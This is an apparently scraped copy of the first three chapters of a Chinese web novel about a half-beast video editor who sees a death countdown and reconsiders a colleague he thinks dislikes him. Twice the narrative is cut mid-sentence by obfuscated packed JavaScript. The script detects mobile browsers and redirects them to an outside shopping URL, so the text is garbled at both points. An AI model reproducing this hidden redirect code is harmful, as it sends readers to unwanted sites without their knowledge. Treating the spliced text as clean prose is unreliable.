《我能看见倒计时》 1. 明日骤雨 “我有病。” 骆野斜倚着露台围栏,平静地陈述事实。 他站在昭楠市南城最大的传媒公司DFG的十三楼露台上,在这里,能看城市的车水马龙,也能看见十二月的薄雾远山。 可骆野此刻的视线,全被隔壁大厦的玻璃反光占满,刺得他眼睛发酸。 “病得还不轻。”骆野沉默片刻,又补了一句。 他刚说完,腰间突然一紧,一股蛮力拽着他往后猛扯。 刚才还蹲在旁边啃三明治的好友兰橘,此刻死死箍着他的腰,踮着脚拼命往后退。 兰橘比骆野矮十多厘米,穿了件公司发的皮大衣,头发又是灰的,看着像一款刚包的春卷。 春卷使了半天劲,骆野一步都没动,就听见他喊: “冷静啊!你才二十五岁!又帅又年轻!叔叔那么对你,你都熬过来了,还有什么不能熬的!你现在多成功啊!有车有房的!你再不济,你,你想想你弟啊!你走了,芃芃就一个人了!你忍心吗?!你不是还要找你那个朋友吗!你没找到他你忍心走吗?!” 莫名其妙被开盒的骆野:“……?” “你也发病啊?”骆野无语了,“干脆报我身份证号得了。” 兰橘脸憋的通红,咽下一口气,急声说:“我在拦着你啊?你不是要跳吗?” “……啊。”骆野意识到兰橘误会他要跳楼,感情从疑惑变成无语又好笑。 他握住兰橘的胳膊,轻轻一推就挣脱了束缚,抬下巴往后头扬扬:“兰哥,我就算要跳,也不会在这么多人的地方跳吧?” 兰橘转身,瞬间哑巴了。 他们身后的休息区里,十几个其他部门的员工此刻统一放下咖啡杯,天也不聊了,全都看着他们。 DFG公司的普通人员工与半兽人员工的比例为8:2,普通人用眼睛看,半兽人竖起各自的兽耳,一排毛绒耳朵齐刷刷地朝他们的方向起立。 这画面给兰橘尴尬到浑身一激灵,发间瞬间蹦出浅灰色仓鼠耳。 “快走快走!我们去买咖啡,”兰橘捂着耳朵,手忙脚乱地推骆野进观光电梯。 电梯门缓缓合上,一路下行。 中途停了好几回,进来一拨又一拨的同事,有人低声聊天,有人刷着手机,狭小的空间里充斥着细碎的声响。 骆野靠在角落的位置,从头到尾都没抬过眼,视线始终落在透明的电梯窗外,看着隔壁楼体的幕墙不断上升。 兰橘偶尔叫他,他才偶尔应了几声。 “叮”的一声,电梯抵达第一层,骆野随着人群走出去。 兰橘说的咖啡店在公司旁的小广场,名叫“非你不渴”,门口摆一堆漂亮的鲜花。 他俩到点餐台的时候,前面排了十多个人,看着像是隔壁公司聚餐,都穿着跟膨胀螺丝似的羽绒服,颜色都是红的。 骆野在心里把这几个人连一块消除了。 兰橘冲手掌哈气,看向出神的骆野:“你刚刚干嘛说自己有病啊?我还以为你上班上崩溃了。” 骆野笑了笑,竖起食指,让兰橘抬头看天空:“兰哥,你看天上有什么?” 兰橘眨巴大眼睛,认真看了好一会儿。 “有云,还有阳光,还有飞驰而过的飞机……” 兰橘说着说着,声音渐渐变得激昂起来。 “预示着白驹过隙,四季流转。十二月的寒风漫过街巷,天地间尽是清寒,可是屋檐有温软的残阳,冬意虽然很浓,但冬天已到。啊——春天,还会远吗——” 骆野前面的男生听到动静,转身看他们俩一眼,立马又转回去了,激动地跟朋友说:“我靠!今天咖啡店是不是搞活动啊?后面那哥们都开始写诗了!” 骆野:“……” 不愧是编剧,一不留神就开始包饺子了。 包好饺子的兰橘又戳了戳骆野胳膊:“所以呢?你问这个干嘛?” “没干嘛,”骆野耸了耸肩,“就想问你能看到什么。” 兰橘笑了,拍了下他的后背:“你这问题问的,难不成我们看到的不一样啊?” 兰橘明显是开玩笑,但骆野心底一哂。 说对了,还真不一样。 骆野眼前这片冷白色的天空,除了飞机的尾线之外,正中央悬浮着一串方正黑体的白色数字。 亮度约莫在60%左右,数字随着一秒四帧的速度,清晰地淡出、刷新—— 形成一块半透明的倒计时。 【576时35分45秒】 【576时35分44秒】 【576时35分43秒】 …… 从公司出来后,这些数字非但没有消失,反而越来越清晰。 骆野是编导系毕业,看过的小说、影视剧本没有一千也有八百,无数荒诞的设定在脑海里闪过,答案几乎是瞬间浮出水面。 这是他的死亡倒计时。 巧的是,因为生长环境等因素,骆野有着极快的接受速度。不管多怪的事,最快三秒,最慢一晚上,他都能想通。 比如上礼拜二中午,男同事周末天说明年要做变性手术,大家还在消化消息的时候,骆野已经把他的备注从“周哥”改成“周姐”了。 所以当骆野看见这个倒计时,第一反应是悲怆又愤世嫉俗地想:我有病还是老天有病啊?该死的另有其人吧?怎么会是我? 第二次想就成了:其实还挺幸运的。 提前知道自己的死期,意味着能用剩下的时间去做未完成的心愿。 而他第一个心愿就是…… “辞职。” 骆野拿到白巧克力拿铁的那刻,轻飘飘吐出这两个字。 “啊?”兰橘刚咬到吸管,愣住了,“你又要搬家了?你爸找到你们了?” “没,他这辈子都找不到我们,”骆野深吸一口冷风,语气更平淡了点,“我想去比较远的地方,所以要辞职。” 兰橘以为骆野在开玩笑,又问了一遍。 对方还是那句话,兰橘反而词穷了。 他知道骆野做事随心又果断。但上班不是上学,毫无征兆地说辞职,而且还是为了出去玩,真有点莽撞了。 于是他好言相劝:“你三思啊,DFG也算是头部公司了,有钱都不一定能挤进来,你的工资也快到你们部门头部了,就这么走了多可……” 兰橘“惜”字没说完,两人的手机同时响了。 他们对视一眼,打开手机。 一刷新微信,公司热播的四个节目群,后期部领导同时发布了新公告: 【艺人白呈因个人问题,上级严令禁止出现在各类节目,详情已发全体员工邮箱。此次要求,需对节目所有成片、素材里他的画面全程打码,台词消音,姓名字幕删掉。单人镜头马赛克,群像镜头进行人像删减。特别批注:《周六的日记》原定后天十点上新剧集,时间不做更改。后期剪辑部的同事们这几天辛苦了,今天已经为你们报备五小时加班了@全体成员】 “……”兰橘放下手机,手搭在骆野肩上,重重拍了一下,“辞职吧,我支持你。” 骆野:“……” 骆野回到八楼后期部,整层楼弥漫着一股比命还苦的咖啡味,键盘敲击声密密匝匝,回车键都要拍烂了。 骆野万分理解。 他们DFG公司的后期部与其他公司不同,除自己家的节目外还会接外包任务。今天加急打码,其他业务只能往后推,说不定明天还要继续加班,没骂街都算他们性格好。 骆野拐去茶水间摸了包巧克力棒,叼着一根走到工位,先在微博敲了“白呈”二字,终于看到了事件概括。 简单来说,就是这货是偷税漏税外加约炮聊天记录被爆,正被全网抵制,上了四个热搜。 骆野忍不住用小号跟楼评论:【从此世界上少了个明星,多了个牙签控大脑的抠搜男。】 他刚发出去,《白浪域》节目组群弹出信息,导演组发了张参加收官宴的名单。 骆野找到自己名字后往下滑,翻到中间突然停住,鼠标移到“池枝越”的人名上。 “……”骆野微眯眼睛,咬断了巧克力棒。 十几秒后,他关了名单,正式开始工作。 骆野在密密麻麻的时间轴里取出自己的部分,熟练地新建打码轨。 遇到静态镜头,拖出马赛克效果,进行脸部融合;如果内容是动态的,就切到After Effects,画遮罩、开跟踪器。都是一些熟能生巧的活。 骆野坐在靠落地窗的位置,抬头就能看见倒计时。天色从冷白熬成橙红朝霞,数字不倦地减少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206088|197343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少了九个小时后,来到八点半,骆野今日的内容结束。他收拾好东西,去办公室和领导说了要辞职的事。 领导有点惊讶,但还是祝他前程似锦,打了辞职单,提醒他公司规定交辞职后得待一礼拜交接工作。 骆野离开办公室时正好九点,他背上包,最后再拿了一包巧克力棒,坐电梯下楼,顺手拆了包装袋。 这次运气挺好,拿到了白巧克力味的。骆野满意地扬起嘴唇,咬了一根。 电梯抵达一楼,大厅安静到只有骆野的脚步声,灯光从遥远的穹顶垂落,冷白又疏离。通顶的落地窗外早沉成了浓黑,霓虹晕开一片片模糊的光。 很突然,一道熟悉的身影走进骆野的视线,杏色大衣很快融于黑夜。 “他怎么还在?” 骆野目光凝了两秒,走到宣传栏前的兰橘身边,递过一根巧克力棒。 兰橘接过巧克力棒,笑着说:“你也够惨,八点和我十二点的一起下班了。” “还好后面导演组来帮忙了,不然我得留到十点多。”骆野说。 “那你运气还挺好的啊,”兰橘目光重新落在宣传栏上,再看一次还是得感叹,“你这张照片拍的真对味,都能当头像了。” 兰橘指的是宣传栏贴的“部门之星”照片。 公司一个季度一评,各部门一位,获奖者会穿定制的西装或礼服拍照留念。骆野是今年第四季度的幸运儿,照片摆在正中间的右侧。 照片里的骆野黄棕色及肩半扎发,右眼卧蚕下、左脸中央各有两个痣。双眼皮随着眼尾上挑,碧绿色的瞳仁紧盯镜头。 勾着单边唇角,漫不经心的痞帅感扑面而来。 兰橘又抬眼望向眼前的骆野。 短款黑夹克缀着羊毛边,搭配深灰工装裤,裤腿收进高帮机车靴里。宽肩窄腰,身形利落。一八零的个子,比例好到像一八八。 他忽然想起大学那会儿,骆野的长相和穿衣风格比现在更桀骜,导致好多人以为他是那种骗心又骗身的混混哥。 其实这人只是个刀子嘴豆腐心、爱剪技术流视频的摄影佬而已,他们私底下都叫他宅男哥。 此刻的“宅男哥”因为看照片看开心了,不自觉地放出自己的豹猫耳朵,软绒绒的耳郭悠哉地抖动了一下。 他叼着巧克力棒,指着自己的照片:“我记得我的照片一开始在左上角啊。” “人资开窍了呗,知道把长得好的放一起了。”兰橘冲旁边的照片扬扬下巴。 骆野视线顺到旁边那张照片。 照片里的男人长得很英俊,标准的浓颜脸。褐发褐眼,梳着大背头,鼻梁直挺,眼窝勾出微垂的双眼皮。笑眼弯弯,睫毛随之垂下,嘴角有着浅浅的酒窝,照片拍不到他完整的宽肩。 气质与骆野的全然相反,沉稳又周正,像是捡到一百块钱会立马交给警察的那种人。 骆野垂眸,人脸下方的一行字即刻出现视野中。 【外策组——池枝越】 骆野轻轻抖了下猫耳,转头问兰橘:“池枝越刚刚是不是来过。” “对啊,刚才和我聊天来着。”兰橘说。 “我来他就走呗,”骆野毫不意外,顺嘴问:“你们聊了什么?品牌方和你参加的那个节目又出问题了?” 外策组毕竟是品牌方和节目对接的部门,兰橘又是节目的编剧,这两人见面也只有这个事聊了。 结果兰橘摇了摇头,说出来的话骆野还以为自己听错了:“不是工作的事,他问我我们俩中午在露台上干嘛,是不是出事了。” 骆野愣住了,三秒后才说话:“你怎么回的?” “我总不能说我拉你跳楼啊,我就说我看你人要晕了,扶了你一把,”兰橘回忆着中午挺尴尬的局面,“还好他当时只看到了动作没听到声,我能编一下。” “他后来说你很可能是得了流感,让你抽空去医院看看,小心感冒,然后就走了。” “他好像很关心你啊,你们俩什么时候这么熟了?” 骆野全程没说话,静静听兰橘说完,“咔嚓”一声,咬碎了巧克力棒。 吞进肚子里的除了奶香的巧克力,还有他满脑子的问号。 他也想知道他们什么时候这么熟了。 池枝越不是讨厌他吗? 2. 明日骤雨 *最后一段结束,请打开b站搜歌曲《Tidal Wave》kiso/Rossy* 骆野是有依据的。 池枝越今年八月份进的公司,DFG的外策组基本都在外勤,所以骆野与他第一次见面是在新节目的会议上。 骆野在那边和导演组的人聊天,站在不远处的池枝越一直盯着他,眼神如同寒泉般清冽。 根据骆野从小在贫民窟摸爬滚打的实战经验,这个举动无疑是想挑衅他。 骆野当场蹦出了耳朵和尾巴,尾巴从开洞服炸出来,跟狗尾巴草似的一簇簇立起。 搞得工作人员一脸懵,以为自己聊的“干锅牛蛙”让骆野应激了。 骆野属于有事就要说清楚的人,后面两人握手时,骆野直接问他是不是对自己有意见,池枝越摇摇脑袋说没有。 当时的池枝越穿着利落的亚麻灰风衣,至少一米九的身高宽肩阔背,笑起来眉眼弯弯,看着很温润有教养。 骆野看在那张脸的份上,信了他的话。 毕竟他们俩又不认识,确实没理由挑衅。 但之后每次见面,池枝越都会先盯着他看一会儿再说话。 这种奇奇怪怪的注视,看的骆野浑身发麻,最后他选择当没看见,继续聊天。 骆野感觉池枝越讨厌自己,是组队事件后的事。 九月初的时候,《探案百分百》收官庆功宴。骆野在里面碰巧和池枝越成为一组做小游戏,结果池枝越和别人换了组。 当时给的理由是那个人和朋友吵架了,所以互关。 也有可能真的是吵架,骆野在此不表。 之后又过一礼拜,骆野乘坐电梯时遇见了池枝越。明明电梯里只有骆野一个人,池枝越却不进来,硬是站在门口说要坐另一部电梯。 骆野再发现不了端倪,就真成二货了。 盯着他挑衅他,遇见又避开他,不乐意跟他做同一个电梯,明摆着就是讨厌他。 骆野上班四年,没和人起过争执。第一次被那么刚认识的人讨厌,无语了好几天。 不过池枝越讨厌得比较算是温柔,而且经常出外勤不在公司,对他没什么伤害,他就没管。 之后池枝越来他们部门,骆野倒水碰上了,也就点点头擦肩而过,一直和池枝越保持着“你不犯我我不找你”的平行线的关系。 他以为他们到辞职都不会再有交集的。 结果兰橘说池枝越关心他? 他困惑的像洗棉花糖的小浣熊,满头问号。 “回家叫上你弟,我们三排,带你上段位,不就加班吗?别不开心了。” 骆野听见这句话终于回过神。 不知不觉间,他们已经走到停车场了,两人站在骆野的摩托车前。 兰橘下巴缩进围巾里,直勾勾看着他,像是疑惑他怎么不说话。 骆野看向夜空中泛着白光的倒计时,不知不觉就耽搁了十五分钟了。 连加班都没让骆野郁闷,某人轻轻一个举动,让他思绪乱飘。 算了,人都走了,不纠结了。 “我没不开心,我就感觉刚刚听了一段科幻片,”骆野想到他要是走了,好兄弟和弟弟以后会盯着他灰掉的游戏名发呆,心里就不是滋味。 忍不住提醒兰橘:“你要不再去找两个人?我要是走了,就没人陪你玩了。” “我无所谓啊,不打游戏我看电影也行。”兰橘笑着说,“你总不可能天天旅游吧,等你休息了再打游戏不就好了。” 骆野喉间微哽。 可是也许等不到了。 他想说这句话,可话到嘴边,硬生生咽了回去,最后还是点头说了声:“好。” 他戴上手套和带猫耳防护的定制头盔,只露出一双眼睛。 长腿一踢开脚架,指尖拧动油门,机车当即发出低沉的嗡鸣。 兰橘往旁边退了半步,扬声喊:“回去等你上线哈!” 骆野侧头点了下,拧着车把开出了停车场。 晚上九点半,南城的高楼熄灯了一大半,高架桥上车灯如同流萤,在墨色的幕布下飞驰而过。 纯黑的摩托化作一道冷影扎进高架桥洞,夜风裹着凉意扑面而来,头盔下的发丝轻轻晃动。 骆野卡紧脚踏,贴伏在车身上调控油门,摩托微微侧倾擦过石壁,转瞬破洞而出。 行至十字路口,他轻转手腕,车身划出一道流畅弧线,拐进了彭兰菀小区。 密密麻麻的电线横跨两栋楼之间,月光从中漏下,跟着他漫进地下车库。 骆野支住车身,摘下头盔。后侧的长发随着仰头的动作,扫过线条分明的脖颈。 “呼……”他扯下一只手套,咬着手套带,低头解另一只的扣。 刚锁好车,对面的轿车也倒车入库,下来一位男人,他打开后备箱拿出折叠轮椅,再把后座的女孩抱出来,放轮椅上。 骆野认识这对父女,隔壁楼的白羊种。 微胖的男人叫唐三源,银白色卷发,面容慈善;小女孩小名叫甜甜,刚上初一,上个月摔了一跤扭了腿,就坐着轮椅了。 让骆野觉得奇怪的是,上礼拜甜甜的头发还是白色的,今天变成了棕发。 唐三源也看见骆野了,推着女儿过来打招呼:“甜甜你还记不记得这个哥哥啊?他之前帮你搬过轮椅,你那时候还说要请他吃冰激凌了。” “记得,骆野哥哥好。”甜甜礼貌地打招呼,骆野微微笑了笑。 自从女儿行动不便,唐三源家没少受骆野帮助,他对骆野态度自然很好,看他跟看儿子似的,和蔼地问:“今天出去玩了?” “加班呢,刚下班。”骆野回,“你们呢?” “去奶奶家吃饭了。”甜甜说。 骆野弯腰问她:“你的头发怎么现在变这个颜色了?” 甜甜摸着自己的头发,有点不好意思地说:“白发在学校里有点奇怪,就染了一下。” “奇怪吗?”骆野挑眉,“哥哥有个朋友也是白发,还是蓝眼睛,上学也没染。我觉得还挺好看的。” “真的吗?”甜甜眼睛亮了亮,“他也是山羊种吗?” “他是大白狼。”骆野说。 虽然当今半兽人已经去了兽性,但甜甜出于本能有点害怕,瑟缩了一下。 逗小孩的骆野笑了:“你怕什么?他现在又不在。” 甜甜觉得有道理,坐正了一些:“他现在也是白发吗?” “不知道,我们好久没见了,”骆野点着下巴思考,“等我见到他了再告诉你。” 甜甜使劲点头,从口袋里掏出一颗糖递给骆野。 骆野受宠若惊地接过,又问唐三源:“不过你们这么染发,会不会伤头发啊?” “不会,我们用的是喷雾,大概能维持一礼拜,用固定的洗发水就能洗下来。”唐三源说,“你没用过吗?我还以为你经常染头发啊。” “我要是染了,我弟会一直念念叨叨。”骆野想想就有点头晕,“以前我朋友在的时候,他们两个人合伙管我,管的我脑子炸了好几次。” 唐三源笑起来:“你弟比我还像老头子啊。” 他们边聊边走,乘坐车库的电梯到陆面,骆野住的7幢就在对面,他们在此分开了。 骆野家在顶楼,六十平的户型,不大不小,正适合他和骆芃两人住。 他们一开始是租客,住了一年半觉得实在不错就决定买下来。在国外的房东看他们俩兄弟辛苦又挺有诚意,房子就九折卖给了他们。 房子没再装修过,依旧是原本的田园风,不过增加了一点他们以前不能养的花草活物,譬如玄关小鱼缸里的金鱼。 骆野先撒了一点鱼粮,再换了鞋。 头盔放进柜子里,走到餐桌,桌上摆着几道小菜,保鲜膜上贴着便利贴,干净利落的字迹写着:【饿了吃这个,少吃外卖——骆芃留】 骆野笑了一声:“……真是小老头子。” “咔哒。” 侧边卧室的门突然打开,骆芃面无表情地站在门口,身上还穿着校服。 如果说骆野长相随妈,那骆芃就是随他们老爹,骨相比骆野更硬朗,眼睛细长一些,耳廓偏大。他们瞳色发色一样,骆芃没骆野这么潮流,他留着高中生必剪的短发,哪怕脸再帅,看着依旧有点二。 骆芃平时话很少,但不会没表情,现在一看就是生气了。 骆野有点心虚,表面装的像什么也没发生过,亲切地打招呼:“芃芃你还在写作业啊?菜是特地给我热的吗?辛苦了。” 骆芃盯着他:“你说我是老头子?” 骆野嘴角一抽。 靠。像谁啊,听力那么好。 骆野继续装傻:“我是说我领导那个老头子。” “你领导不是女的吗?”骆芃冷冰冰地看着他,咬紧下嘴唇,“哥,你太过分了。” 骆芃说完重重关上门,骆野怎么敲都没用。 完了,真生气了。 “唉,我就是说一说。” 骆野泄气地坐回餐桌,吃着温热的红烧鱼,给兰橘发消息:“双排吧,不小心惹芃芃生气了。” 【兰橘】:你把袜子塞他嘴里了? 【骆野】:? 【兰橘】:不然他这个究极无敌兄控会生你气? 【骆野】:没事,明天就好了 【兰橘】:痛失大将orz,感觉今天这几把悬了 【骆野】:待会打。我先把宵夜吃了,不然明天真完蛋 【兰橘】:行,我去写文案了,好了叫我 骆野烦闷地深吸一口气,慢慢吃桌上的菜。骆芃的手艺本来就没话说,而且每道菜都是按骆野口味做的,酸甜咸淡正好。 骆野越吃越开心,放出自己的尾巴,好好地立成了弯钩形状。 十几分后,吃完洗好碗的他,不死心的又去敲了敲骆芃的房门,对里面说:“芃芃,我回房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206089|197343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,打游戏吗?” 里头没回答,但灯关了。 骆野的尾巴慢慢垂落,跟着他的脚步,在身后恹恹地左摇右晃。 回到房间,他开机登游戏。没高手帮忙,果然打的很不爽,两人玩了一把就结束了。 骆野顺手登录微博小号,日常查询有没有新的私聊,结果只有垃圾广告。 “唉……”真是事事不顺。 心情郁闷的骆野拿起屏幕旁的合照,整个人往后一仰,半窝在电脑椅里。 照片里是三人躺在草坪上。 中间是初二的骆野,脸上带点婴儿肥,眉眼和现在没差,笑得很拽;右边是小学时期的骆芃,乖乖抱着他的胳膊,露出小小的豹纹耳朵。 左边侧躺着个白发男生,刘海过眉,湛蓝色的眸子正望着他们,眉眼清秀,能看出长大后会有多帅气。 “就差一点点了。”骆野呢喃低语,指尖摸过他们三人的脸,照片放回原位。 他又翻来笔记本,开始写“遗愿清单”。 1.再旅游一次。 2.找到小哑巴。 写完两条,他顿了几秒,才继续往下写。 他越写越慢,越写越感觉像在写遗书,于是他真的写了一封遗书。 起初落笔时还带着玩笑的心思,猜测他们看到这封信时的反应。可写着写着,他的后背开始发凉,浑身凉飕飕的,脑袋越来越昏沉。 刹那间,悲恸如同一条暗河,不疾不徐,缠缠绵绵地淹过他对世间的所有留恋。 “我都没有未来了,能不难受吗?”他想。 骆野心脏抽抽了一下,把遗书夹进备忘录最后一页。 直到他躺床上,身上的凉意也没消。 骆野只能收起尾巴和耳朵,整个人缩进被褥里,留出鼻子以上的部分。 第二天醒来,他全身酸痛的厉害,好像喝了二锅头后又被人打了两拳,骨头缝里钻着细碎的疼,喉咙也火烧火燎的。 他下床喝水,无意间瞥了眼窗边,直接呆住了。 窗户敞着一条脑袋大的缝,凉风正使劲往屋里钻,刚好打到他脸上。 骆野:“……?” 一瞬间,他的呼吸骤然顺畅,一切都通了。 也就是说,他昨天浑身发凉,压根不是写遗书写难受了,是忘关窗吹的? “我就说我哪有那么脆弱。”骆野无语地戴上了口罩,“我是真有病啊……咳咳。” 骆芃给他留了米粥,但他没什么胃口,吃两口就出门了。 早晨天还灰蒙蒙的,路面凝着一层湿冷的寒气,路上只有零星几个行色匆匆的路人路。 倒计时也好好地落在那里,成了【556时56分32秒】。 骆野骑摩托的时候倒没什么感觉,下了车走进大厅,不适感涌了上来,呼吸变得有些闷。 上班高峰的DFG大厅有一堆人等电梯,他怕电梯里被挤晕,一直站在最后,等人少了再上。 他站在花盆旁,给实习生白楠发了条消息:“我好像感冒了,你们待会别来我工位啊,怕传染。” 【白楠】:天惹,师父你很严重吗? 【骆野】:就是有点咳嗽没力气,其他还行,量过体温,还正常 【白楠】:那还好,我给你接点热水 【骆野】:感谢【鲜花表情】 发完消息,电梯刚好到了。 “咳咳……”骆野低头轻咳,抬脚往前走。 前面的人不知道是东西忘了还是怎么着,突然转身退出来了,胳膊肘不小心顶到骆野的胸口。 骆野没站稳,晃晃荡荡往后退了两步。 不好,要撞上…… 骆野的心声还没落完,他的手臂两侧被人猛地扣住,后背跟着撞进了一个温热的胸膛。 他顿时愣住了。 如果骆野鼻子通畅,此刻就能闻到雪松与南城才有的千山岁的香水味,立马能锁定是谁。 可惜生病的骆野什么闻不到,反应也慢半拍。 直到他转身,看见那双熟悉的褐色眼睛,才反应过来是谁接住了他。 晨光透过大厅的玻璃斜落,落在他们手臂之间,同频起伏的胸口上。 池枝越梳着三七分的头发,身穿一件雪白毛呢大衣,领口微敞,露出内里驼色的高领毛衣。弯着眉眼,笑意散发着清浅的温煦。 抓肩膀的力度不重,刚好把握骆野不会吓到的度。 “你……”是上班还是拍偶像剧呢? 骆野本想说这句话,刚说一个字喉咙又痒了,呛得弯腰低咳起来。 紧接着,他瞥见池枝越松开一只手,侧身擦过自己的肩膀,按了电梯上行键。 另一部电梯的门缓缓滑开,暖黄的梯灯漫出来,洒在他们的鞋尖。 下一秒,温热的掌心扣住了骆野的手腕。 骆野瞬间怔住。 耳边只留下池枝越低沉温软的声音:“我们进去吧。” 3. 明日骤雨(加更) “……”现在到底什么情况? 说好的讨厌呢?远离呢?怎么今天又能坐同一台电梯了?这是第二人格出现了? 骆野的cpu彻底干废了,他站在电梯角落,外套帽子扣住脑袋,偷瞄旁边的池枝越。 对方看上去心情不错,正和旁边几个同事有一搭没一搭地聊着来年计划。 “你到时候去那里?” “一般,没这想法……” “你不知道可抢手了吗?随随便便就是想挖你的……” 池枝越的声音太特别了,似乎永远慢条斯理,带着轻笑。骆野就算闭上眼睛,也能从杂乱的声响里辨出他的声线。 五楼一到,同事们陆续走出电梯,轿厢里只剩他们两人。 骆野动了动喉结,闷声问:“为什么?” 池枝越立刻偏头看他:“嗯?” 骆野视线挪开,指尖摩挲着衣摆:“……帮我。” 池枝越愣了一下,随即笑了:“顺手的事,换谁都会出手的。” “哦。”骆野没再说话了。 这个理由他能接受,毕竟池枝越就是这种人。 抛开讨厌自己这件事,池枝越在同事中口碑很好。接触过他的人,都会说他绅士又有礼貌,连兰橘也说他对组里的人态度不错。不过这些和骆野没关系。 “去医院了吗?”池枝越又说话了。 “小感冒,下班去。”骆野随意地回答。 “尽早看吧,小心变发烧。”池枝越的声音依旧很柔和。 搞得骆野都没法有距离地避开,只能礼貌地点头:“谢谢,我知道了。” “叮”的一声,电梯抵达八楼。骆野快步走出去,下意识回头时,恰好与池枝越的目光撞个正着。 对方冲他扬起嘴角,骆野盯着那枚浅浅的酒窝,直到电梯门缓缓合上。 骆野想起他们见面时,池枝越都是这样淡笑着,好像没有板过脸。 跑业务的同事总说,微笑都成他们的肌肉记忆了,看来是真的。没想到像池枝越这样的帅哥都难逃一劫。 “他们老了会不会面瘫啊?” 骆野用手指拉扯自己的脸颊,朝打卡机刷脸打卡。 走进部门,茶水间里几个同事正边吃早饭边聊天,见他来了,立马邀请他参与昨天加班的吐槽大会。 骆野怕把感冒传染给他们,特意站在门口听。 “师父!” 骆野听到声音,头一转,白楠端着一杯热水递到他面前。 白楠肉圆脸杏仁眼,说话做事很机灵,所以骆野乐意带她。作为部门年龄最小的女生,哪怕白楠都大学了,穿着干练的白色羽绒服与西装长裤,大家也都拿她当小孩子。 骆野刚说完谢谢,一个女同事摸着白楠的头问:“小楠你没事吧?你不是白呈的粉丝吗?” 白楠晃着马尾辫,笑嘻嘻地说:“我没事啊,我看到热搜的时候就爬墙了。” 另一个女生惊讶地说:“天呐,你心态真好,我妹妹哭了好久。” “你可以让我妹妹学我发泄一下,发泄完就好多啦。”白楠说。 此话一出,骆野捧着水杯,默默往后退了步。 不知危险来临的女生继续问:“你写什么内容啊?” 小楠手指卷着自己的刘海须,莞尔一笑:“就是顺手写一篇他被三个**和**那个**,先是老头**然后****逃出去了又被*****腿又**然后再被道上一群**最后他成为了**的抹布文呢,哈哈,写完后心情就好了。” 大家:“…………?” 当他们反应过来自己听到什么不能播的东西时,已经来不及了。 茶水间里的半兽人都炸出了耳朵,一时像打了群架,噼里啪啦地哀嚎起来。 “白楠!我靠!我的耳朵!我的耳朵脏了啊啊!” “好,好可怕的同人女……” “白楠你有病吧?!我都听了啥啊啊啊?!” …… 骆野早猜到会这样。白楠追星追动漫,只要对方塌房,她就会在好友圈发布同人大作和脱粉数据,完全印证了她简介的话:“惹谁也不能惹同人女。” 骆野看着窗外的倒计时,计算这群人吵吵嚷嚷了差不多四分钟。 原本在工位上等电脑开机的,听到声音都往这里看,但只能看见倚靠门框的骆野。 骆野坦然自若地喝了口水,瞥了眼茶水间的人:“领导还有五分钟就上班了,谁想要和她面谈?” 茶水间瞬间安静,怎么可能有人想见魔头?大家带上东西火速窜回自己工位。 “小楠,我有事和你说。”骆野叫住最后一个溜的白楠。 白楠乖乖走到他旁边,骆野微弯腰,悄声告诉了她辞职的事。 白楠遮住嘴巴,不敢置信地盯着他:“不要啊!你走了我怎么办?” “怎么?”骆野笑着提了下口罩,“我平时那么凶你,你还挺想我留下了的?” 白楠急忙解释:“师父你凶是凶,但你后面会给我们买奶茶啊?” 俗话说的好,由奢入俭难。遇到过长得帅又有能力还经常请吃东西的师父,谁还能退而求其次? “我每次加班都是看你的脸才忍下去的,以后加班该怎么办啊?”白楠感觉天都塌了,痛苦地捂住脸坦言,“算了,以后去二楼看模特姐姐们吧,打不了跑过保安呗。” 骆野:……这脸是非得看吗? 骆野听着,突然想到个人:“池枝越呢?他不是也帅吗?而且就在楼上。”论脸的话,应该没人会觉得那张脸不帅的。 “嗯……”白楠对着手指,有点不好意思,“他长得有点像我追的漫画里的男二,我看他会有违和感。” “难怪我都没见你和他讲过话。”骆野回忆起,好像每次池枝越来后期部,白楠都会躲到他这里,找他问问题。 “哦,你拿我当挡箭牌了。”骆野恍然大悟。 白楠心虚地吹起口哨:“诶哟,我突然想起我视频还没看完,我先走了。” 她跑几步又倒走回来,抓起骆野的右手,击了个掌,笑嘻嘻地说:“祝贺师父脱离苦海啦。” 骆野笑了笑:“要是有人问,你就提一下,没人问就不说了。” “我懂我懂。”白楠眨了一下眼睛,开开心心地跑走了。 没过多久就有人微信私聊骆野辞职的事,更多的是直接来他工位问他。 骆野一开始还能好好回答,后面鼻塞越来越严重,最后用手机打了一串话放旁边,谁来问,他就指着那串话回答。 效果还挺显著的,对方刚要问问题,问题已经解决了。 到了吃饭的点,骆野戴上口罩,拿上手机去食堂。他先打饭占位置,十二点半,兰橘准时出现在食堂,按惯例打了堆成山的米饭。 “咳咳咳……”骆野喝粥呛了两声。 兰橘看骆野又是咳嗽又是喝水,眼尾都有些红了,他在饭堆后面担心地问:“你要不去医院看看?” 骆野擦了擦嘴巴:“还能撑。” 兰橘想起昨天晚上的事,笑着说:“你家小学神要是知道你生病了结果自己还生你气,不得懊恼死。” 骆野笑了笑,又滋溜一口粥。 “谁生气了啊?你啊?” 他们俩刚吃上几口,外策组的万青端着饭盘过来。 万青颧骨微微突出,衬得脸盘偏窄,笑起来像门口保安的亲戚,也像一种文鸟,骆野和兰橘经常这么打趣他。 兰橘很惊讶自己会遇见万青:“你平时这个点不都出去吗?今天咋来食堂了?” 